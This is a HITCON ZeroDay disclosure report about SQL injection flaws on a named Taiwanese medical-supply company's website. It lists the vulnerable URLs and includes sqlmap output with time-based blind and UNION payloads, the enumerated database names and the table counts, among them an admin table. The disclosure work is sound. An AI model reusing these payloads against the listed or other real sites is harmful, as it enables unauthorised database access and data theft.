Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00418
- Vendor: 福樂多事業股份有限公司
- Title: 福乐多某网站多处SQL
- Introduction: 福乐多医疗福祉事业网站多处SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/07 20:53:36 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/07 20:56:43 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/08 00:10:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 00:10:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 00:10:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:14:05 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:14:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/07 03:00:23 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00418
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://www.furoto.com.tw/1.0.2.1.php?id=233
http://www.furoto.com.tw/1.0.3.1.php?id=39
敘述
福乐多医疗福祉事业网站多处SQL
SQL位置:
http://www.furoto.com.tw/1.0.1.1.php?id=313
id参数未过滤导致SQL,XSS产生
[16:44:37] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:44:37] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
SQLmap结果:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=313 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: id=-9561 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b7871,0x7a514379564c717a6864624f6b644d575166754e57657858417061594f4259684c6f416e53784b48,0x716b766271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- mgFa
[16:46:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
[16:46:16] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.furoto.com.tw'
确认影响库:(3个)
available databases [3]:
[] furoto
[] information_schema
[*] test
[16:53:38] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.furoto.com.tw'
查看数据量:(说实话我是拒绝的,因为很慢)
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 269 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 126 |
| COLLATIONS | 126 |
| CHARACTER_SETS | 36 |
| TABLES | 24 |
| SCHEMA_PRIVILEGES | 16 |
| KEY_COLUMN_USAGE | 7 |
| STATISTICS | 7 |
| TABLE_CONSTRAINTS | 7 |
| SCHEMATA | 3 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+
Database: furoto
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oj_adminlog | 455 |
| oj_speech | 269 |
| oj_class | 210 |
| oj_media | 29 |
| oj_webset | 12 |
| oj_admin | 3 |
+---------------------------------------+---------+
[17:31:06] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.furoto.com.tw'
第二处:
http://www.furoto.com.tw/1.0.2.1.php?id=233
第三处:
http://www.furoto.com.tw/1.0.3.1.php?id=39
修補建議
过滤,参数化